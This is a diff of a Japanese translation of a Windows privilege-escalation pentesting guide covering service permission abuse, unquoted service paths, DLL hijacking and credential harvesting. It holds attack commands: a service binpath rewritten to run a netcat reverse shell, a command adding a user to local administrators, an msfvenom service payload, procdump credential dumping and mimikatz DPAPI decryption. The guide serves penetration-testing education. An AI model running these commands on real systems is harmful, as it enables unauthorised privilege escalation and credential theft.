## アンチウイルスと検出器
|
## アンチウイルスと検出器
|
||||||
|
|
||||||
@ -282,20 +282,20 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
|||||||
```
|
```
|
||||||
### LSA保護
|
### LSA保護
|
||||||
|
|
||||||
**Windows 8.1**以降、Microsoftはローカルセキュリティ機関(LSA)の強化された保護を導入し、信頼されていないプロセスによる**メモリの読み取り**やコードの注入を**ブロック**することで、システムのセキュリティをさらに強化しました。\
|
**Windows 8.1**以降、Microsoftはローカルセキュリティ機関(LSA)の強化された保護を導入し、**信頼されていないプロセス**による**メモリの読み取り**やコードの注入を**ブロック**することで、システムのセキュリティをさらに強化しました。\
|
||||||
[**LSA保護に関する詳細はこちら**](../stealing-credentials/credentials-protections.md#lsa-protection)。
|
[**LSA保護に関する詳細はこちら**](../stealing-credentials/credentials-protections.md#lsa-protection)。
|
||||||
```bash
|
```bash
|
||||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||||
```
|
```
|
||||||
### Credentials Guard
|
### Credentials Guard
|
||||||
|
|
||||||
**Credential Guard** は **Windows 10** で導入されました。その目的は、パス・ザ・ハッシュ攻撃のような脅威からデバイスに保存された資格情報を保護することです。| [**Credentials Guardに関する詳細はこちら。**](../stealing-credentials/credentials-protections.md#credential-guard)
|
**Credential Guard** は **Windows 10** で導入されました。その目的は、パス・ザ・ハッシュ攻撃のような脅威からデバイスに保存された資格情報を保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||||
```bash
|
```bash
|
||||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||||
```
|
```
|
||||||
### キャッシュされた資格情報
|
### キャッシュされた資格情報
|
||||||
|
|
||||||
**ドメイン資格情報**は、**ローカルセキュリティ機関**(LSA)によって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのドメイン資格情報が確立されます。\
|
**ドメイン資格情報**は、**ローカルセキュリティ機関**(LSA)によって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのためのドメイン資格情報が確立されます。\
|
||||||
[**キャッシュされた資格情報の詳細はこちら**](../stealing-credentials/credentials-protections.md#cached-credentials)。
|
[**キャッシュされた資格情報の詳細はこちら**](../stealing-credentials/credentials-protections.md#cached-credentials)。
|
||||||
```bash
|
```bash
|
||||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||||
@ -319,7 +319,7 @@ Get-LocalUser | ft Name,Enabled,LastLogon
|
|||||||
Get-ChildItem C:\Users -Force | select Name
|
Get-ChildItem C:\Users -Force | select Name
|
||||||
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||||
```
|
```
|
||||||
### Privileged groups
|
### 特権グループ
|
||||||
|
|
||||||
もしあなたが**特権グループに属している場合、特権を昇格させることができるかもしれません**。特権グループについて学び、特権を昇格させるためにそれらを悪用する方法についてはこちらを参照してください:
|
もしあなたが**特権グループに属している場合、特権を昇格させることができるかもしれません**。特権グループについて学び、特権を昇格させるためにそれらを悪用する方法についてはこちらを参照してください:
|
||||||
|
|
||||||
@ -327,16 +327,16 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
|||||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Token manipulation
|
### トークン操作
|
||||||
|
|
||||||
このページで**トークンとは何か**について**詳しく学んでください**: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
|
このページで**トークンとは何か**について**もっと学んでください**:[**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
|
||||||
次のページをチェックして、**興味深いトークンについて学び**、それらを悪用する方法を確認してください:
|
次のページをチェックして、**興味深いトークンについて学び**、それらを悪用する方法を確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
privilege-escalation-abusing-tokens.md
|
privilege-escalation-abusing-tokens.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Logged users / Sessions
|
### ログインユーザー / セッション
|
||||||
```bash
|
```bash
|
||||||
qwinsta
|
qwinsta
|
||||||
klist sessions
|
klist sessions
|
||||||
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
|
|||||||
### ファイルとフォルダーの権限
|
### ファイルとフォルダーの権限
|
||||||
|
|
||||||
まず、プロセスをリストアップして、**プロセスのコマンドライン内にパスワードがないか確認します**。\
|
まず、プロセスをリストアップして、**プロセスのコマンドライン内にパスワードがないか確認します**。\
|
||||||
**実行中のバイナリを上書きできるか**、またはバイナリフォルダーの書き込み権限があるかを確認して、可能な[**DLL Hijacking attacks**](dll-hijacking/)を悪用します:
|
**実行中のバイナリを上書きできるか**、またはバイナリフォルダーの書き込み権限があるかを確認して、可能な[**DLL Hijacking attacks**](dll-hijacking/index.html)を悪用します:
|
||||||
```bash
|
```bash
|
||||||
Tasklist /SVC #List processes running and services
|
Tasklist /SVC #List processes running and services
|
||||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||||
@ -381,7 +381,7 @@ icacls "%%z"
|
|||||||
)
|
)
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
**プロセスバイナリのフォルダーの権限を確認する (**[**DLL Hijacking**](dll-hijacking/)**)**
|
**プロセスバイナリのフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||||
```bash
|
```bash
|
||||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||||
@ -391,7 +391,7 @@ todos %username%" && echo.
|
|||||||
```
|
```
|
||||||
### メモリパスワードマイニング
|
### メモリパスワードマイニング
|
||||||
|
|
||||||
**procdump**を使用して、実行中のプロセスのメモリダンプを作成できます。FTPのようなサービスは**メモリ内にクリアテキストで資格情報を持っています**。メモリをダンプして資格情報を読み取ってみてください。
|
**procdump**を使用して、実行中のプロセスのメモリダンプを作成できます。FTPのようなサービスは**メモリ内に平文の資格情報を持っています**。メモリをダンプして資格情報を読み取ってみてください。
|
||||||
```bash
|
```bash
|
||||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||||
```
|
```
|
||||||
@ -412,7 +412,7 @@ Get-Service
|
|||||||
```
|
```
|
||||||
### パーミッション
|
### パーミッション
|
||||||
|
|
||||||
**sc** を使用してサービスの情報を取得できます
|
You can use **sc** to get information of a service
|
||||||
```bash
|
```bash
|
||||||
sc qc <service_name>
|
sc qc <service_name>
|
||||||
```
|
```
|
||||||
@ -420,7 +420,7 @@ sc qc <service_name>
|
|||||||
```bash
|
```bash
|
||||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||||
```
|
```
|
||||||
"Authenticated Users" がサービスを変更できるかどうかを確認することをお勧めします:
|
"Authenticated Users"がサービスを変更できるかどうかを確認することをお勧めします:
|
||||||
```bash
|
```bash
|
||||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||||||
@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
|||||||
_システムエラー1058が発生しました。_\
|
_システムエラー1058が発生しました。_\
|
||||||
&#xNAN;_Tサービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。_
|
&#xNAN;_Tサービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。_
|
||||||
|
|
||||||
次の方法で有効にできます。
|
次のようにして有効にできます。
|
||||||
```bash
|
```bash
|
||||||
sc config SSDPSRV start= demand
|
sc config SSDPSRV start= demand
|
||||||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||||
@ -447,7 +447,7 @@ sc.exe config usosvc start= auto
|
|||||||
```
|
```
|
||||||
### **サービスバイナリパスの変更**
|
### **サービスバイナリパスの変更**
|
||||||
|
|
||||||
「認証されたユーザー」グループがサービスに対して**SERVICE_ALL_ACCESS**を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。**sc**を変更して実行するには:
|
「認証されたユーザー」グループがサービスに対して **SERVICE_ALL_ACCESS** を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。 **sc** を変更して実行するには:
|
||||||
```bash
|
```bash
|
||||||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||||||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||||||
@ -463,7 +463,7 @@ net stop [service name] && net start [service name]
|
|||||||
特権はさまざまな権限を通じて昇格できます:
|
特権はさまざまな権限を通じて昇格できます:
|
||||||
|
|
||||||
- **SERVICE_CHANGE_CONFIG**: サービスバイナリの再構成を許可します。
|
- **SERVICE_CHANGE_CONFIG**: サービスバイナリの再構成を許可します。
|
||||||
- **WRITE_DAC**: 権限の再構成を可能にし、サービス設定の変更を行うことができます。
|
- **WRITE_DAC**: 権限の再構成を可能にし、サービス設定の変更ができるようになります。
|
||||||
- **WRITE_OWNER**: 所有権の取得と権限の再構成を許可します。
|
- **WRITE_OWNER**: 所有権の取得と権限の再構成を許可します。
|
||||||
- **GENERIC_WRITE**: サービス設定を変更する能力を継承します。
|
- **GENERIC_WRITE**: サービス設定を変更する能力を継承します。
|
||||||
- **GENERIC_ALL**: サービス設定を変更する能力も継承します。
|
- **GENERIC_ALL**: サービス設定を変更する能力も継承します。
|
||||||
@ -472,8 +472,8 @@ net stop [service name] && net start [service name]
|
|||||||
|
|
||||||
### サービスバイナリの弱い権限
|
### サービスバイナリの弱い権限
|
||||||
|
|
||||||
**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリが存在するフォルダーに対する書き込み権限があるかどうかを確認してください**([**DLL Hijacking**](dll-hijacking/))。\
|
**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリが存在するフォルダーに対して書き込み権限があるかどうかを確認してください**([**DLL Hijacking**](dll-hijacking/index.html))**。**\
|
||||||
サービスによって実行されるすべてのバイナリを **wmic**(system32 ではない)を使用して取得し、**icacls** を使用して権限を確認できます:
|
サービスによって実行されるすべてのバイナリを取得するには、**wmic**(system32ではない)を使用し、**icacls**を使用して権限を確認できます:
|
||||||
```bash
|
```bash
|
||||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||||
|
|
||||||
@ -503,9 +503,9 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "
|
|||||||
```bash
|
```bash
|
||||||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||||||
```
|
```
|
||||||
### サービスレジストリ AppendData/AddSubdirectory 権限
|
### サービスレジストリのAppendData/AddSubdirectory権限
|
||||||
|
|
||||||
この権限を持っている場合、これは**このレジストリからサブレジストリを作成できることを意味します**。Windows サービスの場合、これは**任意のコードを実行するのに十分です:**
|
この権限を持っている場合、これは**このレジストリからサブレジストリを作成できることを意味します**。Windowsサービスの場合、これは**任意のコードを実行するのに十分です:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
appenddata-addsubdirectory-permission-over-service-registry.md
|
appenddata-addsubdirectory-permission-over-service-registry.md
|
||||||
@ -513,9 +513,9 @@ appenddata-addsubdirectory-permission-over-service-registry.md
|
|||||||
|
|
||||||
### 引用されていないサービスパス
|
### 引用されていないサービスパス
|
||||||
|
|
||||||
実行可能ファイルへのパスが引用符内にない場合、Windows はスペースの前にあるすべての終了を実行しようとします。
|
実行可能ファイルへのパスが引用符内にない場合、Windowsはスペースの前にあるすべての終了を実行しようとします。
|
||||||
|
|
||||||
例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windows は次のように実行しようとします:
|
例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windowsは次のように実行しようとします:
|
||||||
```powershell
|
```powershell
|
||||||
C:\Program.exe
|
C:\Program.exe
|
||||||
C:\Program Files\Some.exe
|
C:\Program Files\Some.exe
|
||||||
@ -541,7 +541,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
|
|||||||
```powershell
|
```powershell
|
||||||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||||||
```
|
```
|
||||||
**この脆弱性を検出し、悪用することができます** metasploitを使用して: `exploit/windows/local/trusted\_service\_path` 手動でサービスバイナリを作成することができます:
|
**この脆弱性を検出し、悪用することができます** metasploitを使用して: `exploit/windows/local/trusted\_service\_path` metasploitを使用してサービスバイナリを手動で作成できます:
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||||||
```
|
```
|
||||||
@ -553,7 +553,7 @@ Windowsは、サービスが失敗した場合に実行されるアクション
|
|||||||
|
|
||||||
### Installed Applications
|
### Installed Applications
|
||||||
|
|
||||||
**バイナリの権限**を確認してください(もしかしたら、1つを上書きして特権を昇格できるかもしれません)および**フォルダー**の権限を確認してください([DLL Hijacking](dll-hijacking/))。
|
**バイナリの権限**を確認してください(もしかしたら、1つを上書きして特権を昇格できるかもしれません)および**フォルダー**の権限を確認してください([DLL Hijacking](dll-hijacking/index.html))。
|
||||||
```bash
|
```bash
|
||||||
dir /a "C:\Program Files"
|
dir /a "C:\Program Files"
|
||||||
dir /a "C:\Program Files (x86)"
|
dir /a "C:\Program Files (x86)"
|
||||||
@ -600,7 +600,7 @@ privilege-escalation-with-autorun-binaries.md
|
|||||||
|
|
||||||
### ドライバー
|
### ドライバー
|
||||||
|
|
||||||
可能な**サードパーティの奇妙な/脆弱な**ドライバーを探してください。
|
可能な**サードパーティの奇妙/脆弱な**ドライバーを探してください。
|
||||||
```bash
|
```bash
|
||||||
driverquery
|
driverquery
|
||||||
driverquery.exe /fo table
|
driverquery.exe /fo table
|
||||||
@ -632,7 +632,7 @@ net share #Check current shares
|
|||||||
```
|
```
|
||||||
### hosts file
|
### hosts file
|
||||||
|
|
||||||
hostsファイルにハードコーディングされた他の既知のコンピュータを確認します。
|
ホストファイルにハードコーディングされた他の既知のコンピュータを確認します。
|
||||||
```
|
```
|
||||||
type C:\Windows\System32\drivers\etc\hosts
|
type C:\Windows\System32\drivers\etc\hosts
|
||||||
```
|
```
|
||||||
@ -660,9 +660,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
|||||||
```
|
```
|
||||||
### ファイアウォールルール
|
### ファイアウォールルール
|
||||||
|
|
||||||
[**ファイアウォール関連のコマンドについてはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールのリスト、ルールの作成、無効化、無効化...)**
|
[**ファイアウォール関連のコマンドについてはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールのリスト、ルールの作成、オフにする、オフにする...)**
|
||||||
|
|
||||||
More[ ネットワーク列挙のためのコマンドはこちら](../basic-cmd-for-pentesters.md#network)
|
さらに[ネットワーク列挙のためのコマンドはこちら](../basic-cmd-for-pentesters.md#network)
|
||||||
|
|
||||||
### Windows Subsystem for Linux (wsl)
|
### Windows Subsystem for Linux (wsl)
|
||||||
```bash
|
```bash
|
||||||
@ -671,20 +671,20 @@ C:\Windows\System32\wsl.exe
|
|||||||
```
|
```
|
||||||
バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つけることができます。
|
バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つけることができます。
|
||||||
|
|
||||||
ルートユーザーを取得すると、任意のポートでリッスンできます(`nc.exe` を使用してポートでリッスンする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。
|
ルートユーザーを取得すると、任意のポートでリスニングできます(`nc.exe` を使用してポートでリスニングする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。
|
||||||
```bash
|
```bash
|
||||||
wsl whoami
|
wsl whoami
|
||||||
./ubuntun1604.exe config --default-user root
|
./ubuntun1604.exe config --default-user root
|
||||||
wsl whoami
|
wsl whoami
|
||||||
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||||||
```
|
```
|
||||||
bashをルートとして簡単に開始するには、`--default-user root`を試すことができます。
|
bashをrootとして簡単に起動するには、`--default-user root`を試すことができます。
|
||||||
|
|
||||||
`WSL`ファイルシステムは、フォルダー`C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`で探索できます。
|
`WSL`ファイルシステムは、フォルダー`C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`で探索できます。
|
||||||
|
|
||||||
## Windows資格情報
|
## Windowsの資格情報
|
||||||
|
|
||||||
### Winlogon資格情報
|
### Winlogonの資格情報
|
||||||
```bash
|
```bash
|
||||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||||||
|
|
||||||
@ -699,13 +699,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
|||||||
### Credentials manager / Windows vault
|
### Credentials manager / Windows vault
|
||||||
|
|
||||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||||
Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存できるようになり、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
|
Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存し、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
|
||||||
|
|
||||||
Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な**Windowsアプリケーションは、このCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できます。
|
Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。これは、**リソース**(サーバーまたはウェブサイト)にアクセスするために資格情報を必要とする**WindowsアプリケーションがこのCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できることを意味します。
|
||||||
|
|
||||||
アプリケーションがCredential Managerと相互作用しない限り、特定のリソースの資格情報を使用することは不可能だと思います。したがって、アプリケーションがボールトを利用したい場合は、何らかの方法で**資格情報マネージャーと通信し、そのリソースの資格情報をデフォルトのストレージボールトから要求する必要があります**。
|
アプリケーションがCredential Managerと相互作用しない限り、特定のリソースの資格情報を使用することは不可能だと思います。したがって、アプリケーションがボールトを利用したい場合は、何らかの方法で**資格情報マネージャーと通信し、そのリソースの資格情報をデフォルトのストレージボールトから要求する必要があります**。
|
||||||
|
|
||||||
`cmdkey`を使用して、マシン上に保存された資格情報をリストします。
|
`cmdkey`を使用して、マシン上に保存されている資格情報をリストします。
|
||||||
```bash
|
```bash
|
||||||
cmdkey /list
|
cmdkey /list
|
||||||
Currently stored credentials:
|
Currently stored credentials:
|
||||||
@ -729,12 +729,12 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
|
|||||||
|
|
||||||
**DPAPIは、ユーザーのログイン秘密から導出された対称鍵を通じて鍵の暗号化を可能にします**。システム暗号化が関与するシナリオでは、システムのドメイン認証秘密を利用します。
|
**DPAPIは、ユーザーのログイン秘密から導出された対称鍵を通じて鍵の暗号化を可能にします**。システム暗号化が関与するシナリオでは、システムのドメイン認証秘密を利用します。
|
||||||
|
|
||||||
DPAPIを使用して暗号化されたユーザーRSA鍵は、`%APPDATA%\Microsoft\Protect\{SID}`ディレクトリに保存され、ここで`{SID}`はユーザーの[セキュリティ識別子](https://en.wikipedia.org/wiki/Security_Identifier)を表します。**DPAPIキーは、ユーザーの秘密鍵を同じファイル内で保護するマスターキーと共に配置されており**、通常は64バイトのランダムデータで構成されています。(このディレクトリへのアクセスは制限されており、CMDの`dir`コマンドでその内容をリストすることはできませんが、PowerShellを通じてリストすることは可能です)。
|
DPAPIを使用して暗号化されたユーザーRSA鍵は、`%APPDATA%\Microsoft\Protect\{SID}`ディレクトリに保存され、ここで`{SID}`はユーザーの[セキュリティ識別子](https://en.wikipedia.org/wiki/Security_Identifier)を表します。**DPAPI鍵は、ユーザーの秘密鍵を保護するマスター鍵と同じファイルに共存しており**、通常は64バイトのランダムデータで構成されています。(このディレクトリへのアクセスは制限されており、CMDの`dir`コマンドでその内容をリストすることはできませんが、PowerShellを通じてリストすることは可能です)。
|
||||||
```powershell
|
```powershell
|
||||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||||
```
|
```
|
||||||
**mimikatz モジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)と共に使用して、それを復号化できます。
|
**mimikatzモジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)と共に使用して、それを復号化できます。
|
||||||
|
|
||||||
**マスターパスワードによって保護された資格情報ファイル** は通常、次の場所にあります:
|
**マスターパスワードによって保護された資格情報ファイル** は通常、次の場所にあります:
|
||||||
```powershell
|
```powershell
|
||||||
@ -743,18 +743,18 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
|||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||||
```
|
```
|
||||||
You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\
|
あなたは、適切な `/masterkey` を使用して **mimikatz module** `dpapi::cred` を使って復号化できます。\
|
||||||
You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module (if you are root).
|
あなたは、`sekurlsa::dpapi` モジュールを使用して **メモリ** から **多くの DPAPI** **マスタキー** を抽出できます(あなたが root の場合)。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
dpapi-extracting-passwords.md
|
dpapi-extracting-passwords.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### PowerShell Credentials
|
### PowerShell 認証情報
|
||||||
|
|
||||||
**PowerShell credentials** は、暗号化された資格情報を便利に保存する方法として、**スクリプティング**や自動化タスクでよく使用されます。資格情報は **DPAPI** を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。
|
**PowerShell 認証情報** は、暗号化された認証情報を便利に保存する方法として、**スクリプト** および自動化タスクでよく使用されます。認証情報は **DPAPI** を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。
|
||||||
|
|
||||||
ファイルから PS 資格情報を **復号化** するには、次のようにします:
|
ファイルから PS 認証情報を **復号化** するには、次のようにします:
|
||||||
```powershell
|
```powershell
|
||||||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||||||
PS C:\> $credential.GetNetworkCredential().username
|
PS C:\> $credential.GetNetworkCredential().username
|
||||||
@ -776,8 +776,8 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^|
|
|||||||
```
|
```
|
||||||
### 保存されたRDP接続
|
### 保存されたRDP接続
|
||||||
|
|
||||||
`HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
それらは `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||||||
および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` で見つけることができます。
|
および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` にあります。
|
||||||
|
|
||||||
### 最近実行されたコマンド
|
### 最近実行されたコマンド
|
||||||
```
|
```
|
||||||
@ -788,20 +788,20 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
|||||||
```
|
```
|
||||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||||
```
|
```
|
||||||
Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\
|
**Mimikatz** `dpapi::rdg` モジュールを適切な `/masterkey` と共に使用して **任意の .rdg ファイルを復号化**します。\
|
||||||
You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module
|
メモリから多くの DPAPI マスタキーを **Mimikatz** `sekurlsa::dpapi` モジュールで **抽出**できます。
|
||||||
|
|
||||||
### Sticky Notes
|
### Sticky Notes
|
||||||
|
|
||||||
人々はしばしばWindowsワークステーションでStickyNotesアプリを使用して**パスワード**やその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルは`C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`にあり、常に検索して調べる価値があります。
|
人々はしばしば Windows ワークステーションの StickyNotes アプリを使用して **パスワード**やその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルは `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。
|
||||||
|
|
||||||
### AppCmd.exe
|
### AppCmd.exe
|
||||||
|
|
||||||
**AppCmd.exeからパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。**\
|
**AppCmd.exe からパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。**\
|
||||||
**AppCmd.exe**は`%systemroot%\system32\inetsrv\`ディレクトリにあります。\
|
**AppCmd.exe** は `%systemroot%\system32\inetsrv\` ディレクトリにあります。\
|
||||||
